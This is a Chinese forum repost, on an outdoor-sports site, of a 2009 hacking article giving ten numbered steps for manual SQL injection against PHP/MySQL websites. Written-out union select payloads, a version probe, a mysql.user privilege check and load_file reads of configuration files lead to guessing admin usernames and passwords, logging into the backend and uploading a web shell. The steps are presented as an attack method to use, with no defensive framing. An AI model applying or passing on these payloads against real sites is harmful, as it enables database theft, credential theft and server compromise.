手工PHP注入基本步骤

[复制链接]
查看: 187|回复: 0

手工PHP注入基本步骤

[复制链接]
查看: 187|回复: 0
匿名  2011-9-18 18:48:46 |阅读模式

马上注册,结交更多好友,享受更多内容,了解更多户外知识,让你轻松享受户外!

您需要 登录 才可以下载或查看,没有账号?立即注册

×
手工PHP注入基本步骤 </h1> <div id="property"> 2009-10-27 09:48:01  xueheike&#46;net  来源:<a href="" target="_blank">冰点极限&海阳顶端</a></div><!--引用地址--> 1&#46;判断是否存在注入,加 &#039;;and 1=1;and 1=22&#46;判断版本 and ord(mid(version(),1,1))>51 /*返回正常说明是4&#46;0以上版本,可以用union查询3&#46;利用order by 暴字段,在网址后加 order by 10 /*如果返回正 &#46;&#46;&#46; 1&#46;判断是否存在注入,加 <UL class=litype_1 type=1><LI>';and 1=1;and 1=2</LI></UL><BR><BR>2&#46;判断版本 <UL class=litype_1 type=1><LI>and ord(mid(version(),1,1))>51 /*</LI></UL><BR><BR>返回正常说明是4&#46;0以上版本,可以用union<SPAN class=t_tag href="http://www&#46;hackbase&#46;com/tech/2009-10-27/tag&#46;php?name=%B2%E9%D1%AF">查询</SPAN><BR>3&#46;利用order by 暴字段,在网址后加 <UL class=litype_1 type=1><LI>order by 10 /*</LI></UL><BR><BR>如果返回正常说明字段大于10<BR>4&#46;再利用union来查询准确字段,如: <UL class=litype_1 type=1><LI>and 1=2 union select 1,2,3,&#46;&#46;&#46;&#46;&#46;&#46;&#46;/*</LI></UL><BR><BR>直到返回正常,说明猜到准确字段数。如过滤了空格可以用/**/代替。<BR>5&#46;判断<SPAN class=t_tag href="http://www&#46;hackbase&#46;com/tech/2009-10-27/tag&#46;php?name=%CA%FD%BE%DD">数据</SPAN>库连接帐号有没有写<SPAN class=t_tag href="http://www&#46;hackbase&#46;com/tech/2009-10-27/tag&#46;php?name=%C8%A8%CF%DE">权限</SPAN>, <UL class=litype_1 type=1><LI>and (select count(*) from mysql&#46;user)>0 /*</LI></UL><BR><BR>如果结果返回错误,那我们只能猜解<SPAN class=t_tag href="http://www&#46;hackbase&#46;com/tech/2009-10-27/tag&#46;php?name=%B9%DC%C0%ED%D4%B1">管理员</SPAN>帐号和<SPAN class=t_tag href="http://www&#46;hackbase&#46;com/tech/2009-10-27/tag&#46;php?name=%C3%DC%C2%EB">密码</SPAN>了。<BR>6&#46;如果返回正常,则可以通过 <UL class=litype_1 type=1><LI>and 1=2 union select 1,2,3,4,5,6,load_file(char(<SPAN class=t_tag href="http://www&#46;hackbase&#46;com/tech/2009-10-27/tag&#46;php?name=%CE%C4%BC%FE">文件</SPAN><SPAN class=t_tag href="http://www&#46;hackbase&#46;com/tech/2009-10-27/tag&#46;php?name=%C2%B7%BE%B6">路径</SPAN>的ascii值,用逗号隔开)),8,9,10 /*</LI></UL><BR><BR>注:load_file(char(文件路径的ascii值,用逗号隔开))也可以用十六进制,通过这种方式读取配置文件,找到<SPAN class=t_tag href="http://www&#46;hackbase&#46;com/tech/2009-10-27/tag&#46;php?name=%CA%FD%BE%DD%BF%E2">数据库</SPAN>连接等。<BR>7&#46;首先猜解user表,如: <UL class=litype_1 type=1><LI>and 1=2 union select 1,2,3,4,5,6&#46;&#46;&#46;&#46; from user /*</LI></UL><BR><BR>如果返回正常,说明存在这个表。<BR>8&#46;知道了表就猜解字段, <UL class=litype_1 type=1><LI>and 1=2 union select 1,username,3,4,5,6&#46;&#46;&#46;&#46; from user/*</LI></UL><BR><BR>如果在2字段显示出字段内容则存在些字段。<BR>9&#46;同理再猜解password字段,猜解成功再找后台登录。<BR>10&#46;登录后台,上传shell。</div>
”济源户外网” www.jyhww.com 倡导“积极健康”的生活方式、崇尚“自然、和谐、真诚、友爱”的人文精神,以“自主、绿色、氧气、阳光、健康、友谊”为宗旨,由热爱生活、热爱大自然的群体组成。是户外运动者的家园,也是个人挑战自我。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|济源户外网-天韵茗茶 | 豫ICP备10211396号-1

GMT+8, 2026-8-11 08:44 , Processed in 0.019303 second(s), 18 queries .

Powered by Discuz! X3.5 Licensed

© 2001-2025 Discuz! Team.